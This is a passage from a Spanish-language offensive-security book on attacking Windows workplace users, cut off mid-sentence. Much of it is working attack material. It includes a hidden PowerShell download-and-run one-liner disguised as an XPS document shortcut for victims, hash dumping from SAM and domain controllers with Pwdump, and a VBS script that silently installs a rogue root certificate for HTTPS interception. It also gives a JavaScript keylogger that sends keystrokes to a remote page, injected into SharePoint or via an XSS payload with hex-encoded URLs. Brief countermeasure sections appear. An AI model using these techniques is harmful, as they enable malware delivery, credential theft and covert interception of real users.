El uso del comando es simple. Solo se debe indicar una fuente y un destino.

Start-BitsTransfer -Source http://web/app.exe -destination


c:\temp\app.exe;

Sin embargo, no usaremos esta funcin, ya que necesita que el servicio de Bits-Transfer sea arrancado: esto no
suele ser habitual en todos los sitios. Recordemos que el objetivo es siempre que el ataque sea compatible con el
mayor nmero de sistemas. En su lugar, usaremos un objeto .Net en PowerShell.

Vamos a crear un cliente web con .Net sin necesidad de importacin alguna en PowerShell.

$web = New-Object System.Net.WebClient

Despus haremos uso de la funcin DownloadFile indicando una fuente y un destino; la fuente es el sitio web, y el
destino, nuestro fichero, que se encuentra en una carpeta existente.

$web.DownloadFile(http://web/app.exe,c:\temp\app.exe)

En nuestro ataque, no podremos utilizar un script PowerShell, aunque el equipo est dentro de la empresa, ya que
por defecto solo los scripts firmados estn autorizados para su ejecucin. Para rodear esta medida de seguridad,
vamos a usar la opcin -Command, que ejecutar el cdigo contenido entre las { mi comando }. Puede
ejecutar varios comandos si los separa con punto y coma.

Powershell.exe -command "&{ mi Comando; mi comando }"

Vamos a empezar por descargar nuestra aplicacin, que abrir el fichero. Usaremos la
carpetapublic/download como carpeta destino. Podramos tambin usar una carpeta que se encuentre dentro
de %appdata%. La direccin web de nuestra fuente no debe ser muy larga, ya que el nmero de caracteres es
limitado en un acceso directo.

Descargamos la aplicacin y la abrimos; el cdigo siguiente muestra esta funcionalidad.

$web.DownloadFile(http://web/app.exe,C:\Users\Public\app.exe)
C:\Users\Public\app.exe
Para hacer un acceso directo aprovechable, separamos las lneas por punto y coma y usamos powershell
-command. El smbolo & permite la ejecucin inmediata de los comandos. Acurdese de quitar los espacios que
sobren y de reducir los nombres de las variables en la parte de los comandos para ganar espacio eliminando los
caracteres intiles.

Powershell.exe -command "&{ $w=New-Object System.Net.WebClient;


$w.DownloadFile(http://web/app.exe, c:\users\public\app.exe);
c:\users\public\app.exe;}

Puede reducir tambin el tamao de la direccin web usando sitios que transforman una URL larga en una URL
mucho ms corta:

http://goo.gl/
http://ting.cc/
http://tinyarrows.com/
http://ow.ly/url/shorten-url/

Una vez creado el acceso directo, puede probarlo haciendo en l. Para crear una aplicacin que se ejecuta y abre un
fichero XPS, vaya al apartado Trucar una aplicacin con las herramientas integradas en Windows y adapte la
solucin.

El nico problema de esta tcnica es la apertura de la ventana de PowerShell mientras se descarga el fichero. Puede
reducir el tiempo de apertura de esta ventana PowerShell usando el parmetro -WindowStyle hidden, que
esconde la ventana en pocos segundos, pero sin embargo esto alarga nuestra lnea de comando.

Powershell -WindowStyle hidden -command "&{ etc...

Haga que su fichero sea lo ms pequeo posible para que PowerShell solo se quede un instante corto en el
administrador de tareas.

Puede aadir xpsrchvw.exe; delante de $w. Este comando arranca el lector XPS. Esto tendr como efecto que se
esconda la ventana de PowerShell. El lector est instalado por defecto en Windows Vista y Windows 7, pero no en las
versiones servidores o en Windows 8.

Powershell.exe -WindowStyle hidden -command "&{


xpsrchvw.exe;$w=New-Object System.Net.WebClient;
$w.DownloadFile(http://web/app.exe,
c:\users\public\app.exe);c:\users\public\app.exe;}

Para acabar el ataque, renombre el acceso directo a documento.xps. Modifique el icono del acceso directo por el
icono que se encuentra en el ejecutable xpsrchvw.exe, como se muestra en la imagen siguiente:
Ponga el acceso directo en un fichero ZIP. Enve el fichero as creado a la vctima.

El resultado ser de su agrado, aparecer el visor el tiempo que la aplicacin se descargue. La aplicacin cierra el
visor y lo reabre con un fichero XPS autntico incluido en la misma aplicacin. En Windows 8 y Windows Server,
puede usar Paint para la imagen, o tambin Adobe PDF, si se encuentra instalado en los puestos de su empresa.
Los medios tcnicos estn al alcance de su mano, solo queda ser creativo.

4. Contramedidas

Debe bloquear o limitar el uso de la lnea de comandos y de PowerShell para los usuarios usando polticas de grupo.
Debe asimismo vigilar y bloquear la descarga de programas de Internet usando un proxy web. Piense tambin en
informar a los usuarios sobre la problemtica de los programas enviados por un tercero que no pertenezca al
departamento de soporte informtico. Evidentemente, el usuario no debe ser administrador de su puesto de trabajo
y el control de la cuenta de usuario (UAC) debe estar activado.

Cmo extraer una contrasea en un equipo o un controlador de


dominio
Este captulo nos permitir demostrar que es posible cambiar la contrasea de un usuario sin tener conocimiento de
la antigua contrasea, extraer las contraseas guardadas en un equipo local o un controlador de domino. Es
tambin posible escuchar las conversaciones de red para recuperar las informaciones de autenticacin sin necesidad
de acceder directamente al sistema o descifrar una contrasea interceptada aunque est protegida.
Vamos a empezar por modificar la contrasea de un usuario sin saber la antigua. A decir verdad, es el usuario
quien la va a cambiar. Para ello, vamos a encapsular el siguiente script con una de las tcnicas vistas en el captulo
anterior, es decir, entregar a nuestra vctima un documento, una aplicacin o un zip trampa con un pequeo trozo
de cdigo.

Aqu tiene el script si va a modificar una aplicacin o un controlador.

Aqu, la lnea de cdigo si modifica un documento de Office:

El resto de
los pasos
han sido
explicados
en el
captulo
anterior,
que puede
tomar como
referencia.
Una vez el documento o la aplicacin ejecutada, la contrasea del usuario se cambiar en el dominio. Si la
contrasea local debe modificarse, quite /Domain al final de la lnea de comandos.

1. Herramientas de extraccin de contraseas de sesin

a. La SAM en detalle

Las contraseas estn encriptadas y guardadas en un sitio adonde no se puede acceder directamente con
cuentas de usuarios o de administradores. Solo la cuenta de sistema tiene permiso para buscar informacin all.
Este sitio es la SAM (Security Account Management) para las cuentas locales y el Active Directory para los
usuarios del dominio. En las versiones de Windows anteriores a Vista, la contrasea se guardaba en
LanManager, un sistema muy dbil. Desde Vista, el sistema guarda un hash de la contrasea usando MD4.

Al abrir una sesin local, la contrasea que el usuario teclea en la ventana de inicio de sesin es resumida y
comparada con la que se encuentra guardada en la SAM. En ningn momento la contrasea se encuentra en
texto plano.

Pero realmente qu es la SAM? Dnde se almacena? Cmo se puede acceder a ella?

La SAM es un fichero de registro que sirve para almacenar las contraseas, as como otras informaciones de los
usuarios locales: %systemroot%\system32\config\SAM
El fichero forma parte, como otros ficheros del registro del equipo, de una carpeta de sistema.

Offline, arrancando con un medio oficial de Windows, es posible leer el fichero SAM o robarlo para crackearlo ms
tarde. Puede acceder tambin con los permisos de sistema creando un servicio o adquiriendo los privilegios de
sistema en el PC. Entonces puede leer la parte del registro que guarda estas contraseas con regedit en su equipo
actual. Para obtener los permisos de sistema en un equipo, vaya al captulo Tomar el rol de administrador o de
sistema.

Seguidamente, puede ver un ejemplo sobre un sistema sin necesidad de reinicio usando los privilegios de sistema:

Encontrar datos como las contraseas cifradas y las informaciones sobre los grupos de seguridad en el registro:
SAM\SAM\Domains\Account\Users

Gracias a los permisos de sistema, puede ver elementos que normalmente no puede ver un usuario, como por
ejemplo, en la imagen siguiente, para el usuario Admin, el valor 0x3e8, que corresponde a su RID, es decir, 1006
en decimal.
La contrasea, as como otras informaciones para Admin, se encuentran en la clave de registro:
HKLM\SAM\SAM\Domains\Account\Users\000003E8

La clave V, llamada V-Block, almacena la contrasea del usuario, as como informaciones sobre su perfil.

Este bloque contiene el hash de la contrasea, pero el contenido se encuentra cifrado en DES y usa dos claves
derivadas del RID del usuario para protegerlo.
La cuenta de sistema tiene acceso a las contraseas en forma de resumen. Si desea extraerlas automticamente,
tendr que crear una aplicacin, como un servicio, que pueda obtener estos permisos.

b. Extraer las contraseas de la SAM

Para extraer las contraseas, vamos a utilizar una herramienta. Encontrar en Internet la herramienta Pwdump,
que extraer los datos del registro. Solo nos quedar descifrarlas.

Ejecutar la herramienta con privilegios elevados no es suficiente. Se debe ejecutar con la cuenta de sistema. De lo
contrario, obtendr el siguiente mensaje:

Arranque Pwdump en su versin 6 con la cuenta de sistema y los parmetros siguientes:

El
PwDump.exe -x localhost > pass.txt

fichero pass.txt contiene ahora todos los hash MD4 de las contraseas.

El resultado de la extraccin se parece al listado siguiente:

admin:1006:00000000000000000000000000000000:

61feeb455de86806b42b88f55f2d569d:::

Obtenemos as el nombre de usuario, su RID, la contrasea en LM que desde Vista no se almacena y por fin la
contrasea en NTML. La parte que nos interesa es la ltima:61feeb455de86806b42b88f55f2d569d
Usaremos esta informacin cuando intentemos averiguar la contrasea.

c. Extraer las contraseas de un controlador de dominio

En una empresa, el hash de las contraseas se almacena en el Active Directory, precisamente en la base de
datos NTDS.dit. Los atributos Unicodepwd y User-Password parecen contener estas informaciones. Pero es imposible
obtener una respuesta del controlador de dominio, incluso con herramientas comoAdsedit o ldp. Para buscar estos
campos, debe leer directamente el fichero NTDS.dit. Este fichero es una base de datos del mismo tipo que Exchange
o que la indexacin de ficheros en Windows Vista. Utiliza un motor ESE (Extensible Storage Engine). La clave de
cifrado para el acceso a ciertas tablas que contienen las contraseas es la misma para todos los controladores de
dominio. La clave de sistema (SYSKEY) protege la clave de cifrado de las contraseas en cada mquina. Los que
desean ir ms all en este asunto, encontrarn informacin en las direcciones
siguientes:http://code.google.com/p/libesedb/downloads/list y http://www.nirsoft.net/utils/ese_database_view.html

Para hacerlo ms sencillo, vamos a utilizar en un controlador de dominio la herramienta que ya hemos
usado: Pwdump en su versin 6.

Ejectela directamente en el DC como usuario sistema.


La
Pwdump -x Localhost

herramienta consigue los hashes de las contraseas de todos los usuarios del dominio.

Pwdump puede usarse remotamente si el servidor no tiene activado el firewall local, pero s los servicios de gestin
remota.

pwdump -o passwd.txt -u Dominio\Usuario -p contrasea NombrePC

Existen otras herramientas para la lnea de comandos, como SAMDump, cuyo principio de uso es parecido al ya
descrito. En resumen, es posible extraer el hash de la contrasea de un usuario, ya sea este local o en un
dominio. Se debe tener para eso privilegios de sistema en el equipo que lo almacena. Encontrar otras
herramientas en el captulo Desarrollar sus propias herramientas de hacking - Romper una contrasea.

Los que desean crear sus propias herramientas de extraccin de contraseas, encontrarn fcilmente en
Internet las fuentes de la herramienta Pwdump escrita en C.
2. Herramientas de extraccin de otras contraseas

Un puesto de trabajo puede almacenar numerosas informaciones interesantes para un pirata, como un nombre de
usuario y una contrasea para la apertura de un sitio compartido, de un sitio web, de una cuenta de correo
electrnico, de una red Wifi.

Las contraseas de aplicaciones se guardan generalmente en el registro del usuario, en texto plano, en
hexadecimal, en binario o con un cifrado reversible. Las contraseas se encuentran en un momento u otro en
texto plano en la memoria; es una de las maneras empleadas por los programas para leerlas.

a. Analizar el funcionamiento de una aplicacin

La contrasea se encuentra raramente en texto plano en el registro. Esto depende fundamentalmente del
software que la almacena. En el caso de una contrasea cifrada, la clave de descifrado se encuentra tambin en
el sistema. Encontrar una contrasea es un poco como jugar al perro y al gato entre el lugar y la manera
donde se almacenan la clave de cifrado y la contrasea del software.

Por lo tanto, vamos a ver cmo encontrar dnde se almacenan las contraseas y, eventualmente, las claves de
cifrado.

Para ello, usaremos una herramienta de Microsoft que en origen fue escrita por Mark Russinovich y Bryce
Cogswell para Sysinternals. Se trata de ProcessMon.exe, que representa una mezcla de RegMon, NetMon y
FileMon y que permite vigilar el acceso de una aplicacin a un fichero o a una clave de registro y el acceso a la
red. Process Monitor se puede descargar en el sitio web de Microsoft:http://technet.microsoft.com/en-
us/sysinternals/bb896645.aspx

Vamos a tomar el ejemplo de las contraseas que Internet Explorer guarda al almacenar las informaciones de
los campos de un formulario web. La carpeta de almacenamiento depende de la versin de IE.

Al almacenar o leer una contrasea en IE, podemos observar la lectura/escritura de los valores de las claves
siguientes:
Antes del almacenamiento de una contrasea, el registro se parece a lo siguiente:

Justo despus, se aade la subclave Storage2 con una entrada binaria.


El GUID del equipo tambin es ledo justo antes que la clave anterior en el cifrado o descifrado de la contrasea.
Es normal, ya que el GUID se usa al realizar estas operaciones de cifrado, as como la URL.

Desde IE7 hasta IE9, el navegador guarda las contraseas en: HKCU\Software\Microsoft\Internet
Explorer\IntelliForms\Storage2

IE10 utiliza el Credential Manager para recordar sus contraseas en un fichero que se encuentra en el directorio:
C:\Users\[NombreUsuario]\AppData\Roaming\Microsoft\Credentials

Este tipo de anlisis permite comprender el modo de funcionamiento y el proceso de cifrado y almacenamiento,
pero no nos da el algoritmo utilizado. Para esto hay que buscar o descompilar la aplicacin, lo que se aleja del
objetivo de esta obra.
b. Recuperar la contrasea de una conexin inalmbrica guardada en el PC

Con la misma herramienta de monitoreo, podemos encontrar dnde se almacenan las contraseas de las
conexiones inalmbricas en un PC. Extraer estas informaciones de un equipo objetivo podra permitir a un
atacante conectarse a su red privada o a la de la empresa. Estas informaciones se almacenan con el SSID y el
tipo de cifrado utilizado: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\

El directorio Interface contiene un subdirectorio por cada tarjeta de red Wifi.

Las informaciones de las claves se almacenan en un fichero XML con un nombre aleatorio. Para comprender
mejor el funcionamiento del guardado de estas claves, vamos a crear una nueva conexin segura y buscaremos
la contrasea.

Cree una nueva conexin de red inalmbrica desde el Panel de control.

Escriba un nombre y una contrasea para esta conexin.


La nueva conexin se ha guardado y se ha cifrado la contrasea.

c. Crear una herramienta de recuperacin de una conexin inalmbrica

Vamos a crear una herramienta para descifrar y recuperar la contrasea de una conexin inalmbrica. El fichero
que guarda la clave contiene un valor cifrado llamado keyMaterial. Para descifrar este valor, es posible usar las
API de wlanapi.dll con WlanGetProfile o CryptUnprotectData de Crypt32.dll.

Encontrar informacin sobre el valor keyMaterial aqu: http://msdn.microsoft.com/en-


us/library/ms706987(VS.85).aspx

Para compilar el cdigo propuesto, puede descargar y utilizar Visual Studio 2013 Express para Windows Desktop
en el sitio web de Microsoft: http://www.visualstudio.com/products/visual-studio-express-vs

El cdigo que va a escribir est en parte inspirado por el cdigo de ejemplo, facilitado por Microsoft, sobre el uso
de la funcin WlanGetProfile. Encontrar el ejemplo en el sitio web de Microsoft en el enlace
siguiente: http://msdn.microsoft.com/en-us/library/windows/desktop/ms706738(v=vs.85).aspx

Escriba el siguiente cdigo en un editor de texto o en Visual Studio Express (C++).


#ifndef UNICODE

#define UNICODE

#endif

#include <windows.h>

#include <wlanapi.h>

#include <objbase.h>

#include <wtypes.h>

#include <stdio.h>

#include <stdlib.h>

// Need to link with Wlanapi.lib and Ole32.lib

#pragma comment(lib, "wlanapi.lib")

#pragma comment(lib, "ole32.lib")

int _cdecl wmain(int argc, WCHAR **argv)

HANDLE hClient = NULL;

DWORD dwMaxClient = 2; //

DWORD dwCurVersion = 0;

DWORD dwResult = 0;

DWORD dwRetVal = 0;

int iRet = 0;

WCHAR GuidString[39] = {0};

unsigned int i;

PWLAN_INTERFACE_INFO_LIST pIfList = NULL;

PWLAN_INTERFACE_INFO pIfInfo = NULL;


Una vez el cdigo compilado, puede usar el programa con objeto de recuperar una contrasea guardada para
una red inalmbrica determinada.

Ejecute su programa con privilegios elevados indicando como parmetro el SSID de la red Wifi.

Preste atencin a las maysculas y minsculas, ya que son importantes.

El resultado se presenta en pantalla en el valor keyMaterial.

El cdigo completo, as como una versin compilada de la herramienta, se pueden descargar desde la pgina
Informacin.

d. Otras herramientas

Vamos a desarrollar herramientas para recuperar las contraseas de cada aplicacin, aunque existen una
multitud de herramientas gratuitas descargables.

Adems, la mayora de estas herramientas se puede obtener con script, lo que permite una eventual
comunicacin con su aplicacin.

Por ejemplo, en el sitio web http://www.nirsoft.net/ encontrar herramientas que permiten recuperar las
contraseas almacenadas desde las versiones IE7 hasta IE9.
Una herramienta que permite recuperar la contrasea del Wifi (como la que acabamos de desarrollar):

Recuperar las contraseas de red:

Una contrasea almacenada en un fichero RDP:

Securityxploded.com es otro sitio web que propone un conjunto de herramientas que permiten recuperar una
contrasea perdida, como PDF Password Recovery:
Outlook Password Decryptor permite obtener informaciones interesantes sobre las cuentas de correo electrnico
almacenadas. En el entorno de las pymes, no es raro disponer de cuentas de correo electrnico POP o IMAP.

Word Password Recovery permite encontrar las contraseas de los documentos de Word protegidos:

La mayora de estas herramientas se pueden usar en lnea de comandos y por lo tanto pueden incorporarse en
un script. Esto significa que pueden integrarse en un programa pirata, como hemos visto en los captulos
anteriores.

Este programa, usado para recuperar informaciones guardadas por Safari, lo demuestra.
3. Contramedidas

Para impedir la extraccin de las contraseas, en primer lugar debe evitar que los usuarios puedan convertirse en
administradores de un equipo o del dominio. Solo as conseguir reducir las fugas de informacin. Debe instalar
un antivirus eficaz y actualizarlo diariamente para que detecte productos como Pwdump y los dems programas
de extraccin de contraseas. A nivel de procedimiento, configure distintas cuentas de usuario para la
administracin de los equipos, de los servidores y de los controladores de dominio. Para cada usuario con
necesidad de permisos de administracin, cree una cuenta de usuario diferente segn el rol con objeto de cumplir
el principio del mnimo privilegio.

Por ejemplo, para el usuario Bob:

Cree una cuenta Bob para el uso habitual como el correo electrnico, los documentos, la navegacin web,
etc.
Cree una cuenta ADM_SRV_Bob para la administracin de servidores.
Cree una cuenta ADM_AD_Bob para la administracin de Active Direc-tory.
Cree una cuenta ADM_PC_Bob para la administracin de los PC.

Esto reducir la gravedad de un ataque si una de las cuentas es hackeada por un programa maligno.

Cmo recuperar una contrasea desde la red?


Las contraseas circulan tambin a travs de la red. Los sitios web, los programas o el acceso a recursos solicitan
informaciones de la conexin. Vamos a aprovecharlo para recuperar las contraseas.

1. Utilizacin de un proxy

Cuando el usuario accede a un sitio web o a una intranet, se le puede solicitar un nombre de usuario, as como
una contrasea en un formulario web.

El navegador se conecta en la mayora de los casos directamente a una intranet, pero a veces utiliza un proxy
para hacerlo a un sitio web. El trfico, incluida la contrasea, pasa, por lo tanto, por este proxy. Usaremos el
mismo principio para recuperar la contrasea de un usuario que accede a una intranet o que usa un programa
autenticndose por un webservice. Tenemos para esto dos tareas que realizar: poner en marcha un proxy que nos
facilitar las informaciones buscadas y redirigir el trfico web del usuario hacia nuestro proxy.

a. Configurar el objetivo

Para redirigir el trfico, vamos a modificar el registro del usuario utilizando un programa o un fichero trampa
(ver el captulo Tomar el rol de administrador o de sistema).

Haga que el usuario objetivo ejecute la clave que modifica el registro.

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings

"MigrateProxy"=dword:00000001

"ProxyEnable"=dword:00000001

"ProxyHttp1.1"=dword:00000001

"ProxyServer"=" http=nombredenuestroequipo:8080"

De esta manera, solo afectamos al trfico HTTP. HTTPS ser explicado en el apartado siguiente.

b. Usar Burp Proxy

Para poner en marcha nuestra aplicacin, usaremos Burp Proxy, que se puede descargar desde Internet. Burp
Proxy es un programa que no necesita instalacin y est escrito en Java, muy fcil de usar. Est disponible en la
URL: http://portswigger.net/burp/download.html

Una vez descargado, ejecute la aplicacin y vaya al men proxy - options y haga clic en edit. Desactive la
opcin listen on loopback interface only. Haga clic despus en update. Sin esta modificacin, el proxy solo
escucha en la direccin de loopback 127.0.0.1.

En caso de que utilice ya un proxy en la empresa, puede configurar los campos redirect to host yredirect to
port para redirigir el flujo de datos recibidos por Burp hacia el proxy por defecto de la empresa.

Despus vaya al men proxy - intercept, haga clic en intercept is On para desactivar la opcin de intercepcin;
de lo contrario, cada peticin saliente o entrante ser bloqueada por el proxy hasta que sea validada. Esto permite
la modificacin en vivo de una peticin saliente o entrante. El resultado debe parecerse a la siguiente imagen:
Una vez realizada la configuracin, encontrar todas las peticiones y respuestas de estas en la pestaahistory.

Vaya a la pestaa history, elija la peticin que se va a analizar y vaya a request - params. Encontrar las
informaciones pertinentes que est buscando.

La mayor parte de las veces, las informaciones interesantes se envan al servidor por medio de una peticin
de tipo POST, ms discreta de cara al usuario si la comparamos con una peticin GET, que pasa los
parmetros dentro de la URL del navegador. Basta con buscar este tipo de peticin en el proxy para
encontrar una contrasea ms rpidamente.

2. Introduccin a los certificados y a HTTPS

a. Principio de funcionamiento de HTTPS

HTTPS es la versin segura de HTTP. En un intercambio de datos entre un navegador y un servidor donde se usa
SSL, el trfico entre las dos partes est encriptado y protegido.

Los certificados son la base de la utilizacin de HTTPS. Para proteger el trfico, tiene lugar la secuencia
siguiente:

Un cliente enva una peticin de conexin a un servidor.


El servidor enva su clave pblica al cliente.
El cliente comprueba la validez del certificado, validando entre otras cosas que el certificado ha sido
emitido por una autoridad de certificacin digna de confianza.
En la medida en que el certificado es vlido o que el usuario decide continuar, el cliente encripta una
clave simtrica utilizando la clave pblica del servidor y enva dicha clave as protegida al servidor.
El servidor desencripta la clave enviada con su clave privada. El intercambio entre el servidor y el cliente
a partir de ahora es cifrado con la clave simtrica enviada por el cliente.
La clave simtrica se cambia posteriormente con frecuencia.

Para verificar que la clave enviada por el servidor proviene efectivamente del servidor verdadero (para el que
est creado el certificado), el cliente comprueba que en el certificado se halla la URL de la peticin que se
encuentra en el asunto o en las SAN (Subject Alternative Name) del certificado. La autoridad de certificacin que
ha generado el certificado debe ser reconocida. El cliente hace esta ltima verificacin mirando en el almacn de
certificados de los Root CA autorizados para el usuario y el almacn del equipo.

No vamos a atacar SSL directamente, sino configurando en el navegador un proxy para HTTPS. El proxy servir
entonces de punto final, y se crear un nuevo trfico desde el proxy, tambin con HTTPS.

Para ello necesitamos un certificado SSL correctamente adaptado para devolverlo al cliente. Adems, para que el
navegador crea que le hemos enviado un certificado vlido, aadiremos el certificado raz que usaremos para
firmar nuestro certificado al almacn del usuario o al del equipo, para que este lo vea como fiable. Si un
certificado no es fiable, el navegador muestra un mensaje claro al usuario. No deseamos esto.
b. Pedir un certificado web o de firma de cdigo

Vamos a pedir un certificado web a nuestra autoridad de certificados. La instalacin de una autoridad de
certificado est detallada en el captulo que versa sobre las contramedidas tcnicas.

Abra una consola MMC y aada la gestin de certificados al equipo.

En la carpeta Personal, solicite un nuevo certificado haciendo clic con el botn derecho del ratn.

Vaya hasta la seleccin de la directiva de inscripcin.

Seleccione la plantilla de tipo Servidor web y haga clic en Detalles, y despus en el botnPropiedades.
Para solicitar un certificado de firma de cdigo, los pasos que hay que seguir son los mismos, salvo en la
eleccin del modelo. Debe elegir el modelo Firma de cdigo. Los pasos Nombre comn yOtro nombre no
se realizan en este caso.

Aada un nombre en el campo Nombre comn. Este atributo es el asunto del certificado final.

Puede tambin aadir nombres alternativos con la ayuda del DNS (SAN de nuestro certificado).
Utilice *.sudominio.es para cubrir todas las pginas deseadas para un dominio.

En la pestaa General, d un nombre sencillo para encontrar fcilmente el certificado en el almacn.


En la pestaa Clave privada, marque la opcin Hacer exportable la clave privada para que la clave se exporte
a nuestro proxy.

Ahora puede acabar la peticin y despus abrir el certificado recibido.

Observe el asunto, as como los asuntos alternativos en el caso de certificado web.


Exporte el certificado creado con su clave privada.
Elija el formato PKCS #12.

Defina una contrasea, como por ejemplo 1234.

Gracias a esta exportacin, puede instalar el certificado en cualquier equipo.

c. Configurar Burp Proxy para analizar HTTPS

Puede configurar ahora Burp Proxy para usar el certificado. Vaya a la pestaa proxy - options, haga clic en edit y
elija use a custom certificate. Seleccione su certificado e inserte la contrasea.
Haga clic en update para que las modificaciones sean aplicadas. Desde ahora el proxy puede interceptar el trfico
HTTPS y devolver un certificado al navegador.

d. Instalar un root CA con los permisos de usuarios

Ahora debemos hacer que nuestra vctima instale el certificado raz. Para instalar un certificado en el almacn
root del equipo, es preciso ser administrador del equipo. Sin embargo, para instalar un certificado en el almacn
del usuario, no se necesita ningn permiso particular. Por lo tanto as procederemos, apuntando al usuario, y no
al equipo.

Pruebe la instalacin del certificado raz con el comando siguiente:

certutil -user -addstore root root.cer

Debe saber que la ejecucin de este comando genera un mensaje al usuario.

Para esconder este mensaje al objetivo y validar la instalacin del certificado automticamente, vamos a
reemplazar el comando anterior por un script VBS. Este enviar una combinacin de teclas para validar la
instalacin. Para que funcione, el foco debe ponerse en el programa. Prubelo antes de enviarlo.

Cree un nuevo fichero de texto con la extensin .VBS.


Cree
Arrancamos certutil con los parmetros una

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "certutil -user -addstore root root.cer", 9

Esperamos 1 segundo que certutil se abra

WScript.Sleep 1000

Enviamos alt + o para confirmar la instalacin

WshShell.SendKeys "%o"

Enviamos alt + y en el caso de sistemas en ingls

WshShell.SendKeys "%y"

aplicacin trampa y haga que el usuario objetivo la ejecute.

Una vez la modificacin realizada en el navegador del usuario objetivo, el usuario no percibir que existe un
proxy entre l y el servidor de destino. Sin embargo, el trfico est cifrado por nuestro certificado hasta el
proxy.

La contrasea es interceptada por el proxy y es visible en texto plano.


3. Script que permite capturar el teclado en una pgina web

En primer lugar, es necesario que tenga permiso para modificar una pgina de su intranet que disponga de una
pantalla de login o un sitio Sharepoint con un formulario para una determinada aplicacin. Entonces podr aadir
un script (o keylogger) que permitir capturar las pulsaciones del teclado de la persona que consulte la intranet.
En el contexto de una vulnerabilidad XSS, este cdigo puede ser insertado directamente en una pgina de login.

a. La pgina web de recepcin

Vamos primero a crear, para llevar a cabo esta tcnica, la pgina que permite capturar las teclas presionadas
por la vctima. Esta pgina aspx se almacenar en un servidor IIS. Puede crear esta pgina web con el Bloc de
notas o cualquier editor de textos; no es necesario disponer de Visual Studio. Vamos a desarrollar una pgina
que crear un fichero por direccin IP.

Esta pgina deber guardarse en un servidor IIS que soporte .NET y las pginas aspx.

Cree la pgina aspx con el siguiente contenido:


<%@ Page Language="C#" AutoEventWireup="true" %>

<script runat="server">

protected void Page_Load(object sender, EventArgs e) b. El

string texto = Request.Params["teclas"];

string ipSource = (Request.UserHostAddress.Replace(":",

"-")).Replace(".", "-");

if (texto != null)

if (texto.Length > 0)

System.IO.StreamWriter w = new

System.IO.StreamWriter(@"c:\temp\Record-" + ipSource + ".txt", true);

w.Write(texto);

w.Flush();

w.Close();

</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

<title></title>

</head>

<body>

<form id="form1" runat="server" onload="Page_Load">

<div>

</div>

</form>

</body>
cdigo JavaScript

El tratamiento realizado es simplista (no gestiona las teclas especiales), pero da una idea de los principios de
esta tcnica, muy sencilla.

Puede ahora aadir al script siguiente a la pgina web objetivo.

c.
<script language="javascript">

var teclas=;

document.onkeypress = function(e)

get = window.event?event:e;

tecla= get.keyCode?get.keyCode:get.charCode;

tecla= String.fromCharCode(tecla);

teclas+=tecla;

window.setInterval(function()

new Image().src = http://server/Default.aspx?teclas=+teclas;

teclas= ;

}, 1000);

</script>

Aadir el script en una pgina SharePoint

SharePoint se utiliza frecuentemente en las empresas como intranet, foro o plataforma de gestin documental.

Para poner en marcha el script en un sitio SharePoint u Office 365, basta con aadir un mdulo de edicin al
contenido.

Vaya a la pgina que se ha de modificar y edtela.


Aada un mdulo de edicin del contenido.

Modifique el cdigo HTML.

Aada el script en la ventana de edicin.

Ahora puede esconder el mdulo modificando las propiedades de aparicin de este.


Solo queda probarlo. Para ello, basta con acceder a la pgina.
Rellene el formulario de login. Las teclas presionadas son enviadas al servidor y este las aadir al fichero de texto
que tiene por ttulo la direccin IP origen.

Todas las informaciones escritas en el sitio SharePoint se almacenan, desde ahora discretamente en el servidor
remoto. En general es igual de fcil realizar este ataque en foros mal protegidos o en los Wikis que no bloquean
adecuadamente el cdigo JavaScript.

d. Inyeccin del script en una pgina con vulnerabilidad XSS

Para aadir nuestro script, hemos utilizado de momento el permiso de escritura en el sitio web objetivo, pero no
siempre resulta tan sencillo inyectar el cdigo. En un sitio web donde no tenemos permisos de escritura,
usaremos este mismo script sobre la vulnerabilidad XSS (Cross Site Scripting). Haremos la demostracin con un
formulario que posee una vulnerabilidad de este tipo. En su caso, deber primero determinar la vulnerabilidad
XSS antes de poder inyectar el script.

La primera fase es la deteccin de la vulnerabilidad y la comprobacin de esta. La pgina de ejemplo siguiente


reenva el nombre de la pgina buscada e indica que no existe. Esto quiere decir que el texto facilitado como
parmetro se enva al servidor y este lo representa en la pgina.

Para comprobar la vulnerabilidad, reemplazamos el nombre de la pgina por un cdigo JavaScript que muestra
un mensaje.
?redirect=<script>alert(ok) ;</script>

Perfecto! El script se enva al servidor y es ejecutado. Deberamos poder inyectar el keylogger. Vamos a analizar
el cdigo fuente de la pgina.

El
<span id="LError">la pgina <script>alert(ok);</script> no existe

.</span>

script se encuentra entre la apertura y el cierre de una etiqueta SPAN. Por lo tanto, para nosotros es importante
cerrar la etiqueta SPAN antes de aadir el script.

El
</span><script>alert(ok);</script>admin<span>

resultado ser ms preciso. Ahora podemos inyectar el script, pero en el caso de un script complejo sera mejor
hacer referencia a este en vez de inyectarlo directamente. Vamos a usar una funcin JavaScript para descargar
el keylogger en nuestra pgina. Basta con guardar el script en un fichero js en nuestro servidor y modificar
nuestra peticin de la siguiente manera:

Al
?redirect=</span><script language="javascript"

src="http://miservidor/keylogger.js" ></script>admin<span>

rellenar los campos del formulario, las informaciones de las teclas presionadas se envan al servidor. Este las
escribe en un fichero por cada direccin IP origen.
El script no resulta discreto en la URL. Tenemos que esconderlo mejor antes de difundir el enlace. Para ello,
usaremos una funcin automtica de los navegadores web: la conversin del texto hexadecimal en texto ASCII.
Si escribe la URL siguiente en su navegador, ver un sitio web muy interesante:http://%77%77%77%2e
%65%64%69%63%69%6f%6e%65%73%2d%65%6e%69%2e%63%6f%6d

Para convertir el texto en hexadecimal, puede descargarse el programa de conversin desde la pgina
Informacin.

El resultado es el que buscamos: la URL ya no muestra ningn signo directo del script. Sin embargo, abriendo el
cdigo fuente de la pgina, podemos ver el script que carga el keylogger en la pgina.

Solo queda enviar el enlace por correo electrnico o aadirlo a la intranet de la empresa. Hemos visto cmo
inyectar un keylogger simple de diferentes maneras. Si desea profundizar con este tipo de tcnica, puede usar el
keylogger con licencia GNU que se puede descargar en el siguiente
enlace:http://sourceforge.net/projects/jskeylogger/files/

El paquete descargado integra un pequeo servidor web, un fichero JavaScript keylogger, as como ejemplos
HTML para realizar pruebas. Es una buena manera de empezar sin desarrollar ni instalar nada.

4. Usar un sitio web falso copiado

Si el sitio web remoto no es vulnerable por XSS y no dispone de permisos de administracin, resultar imposible
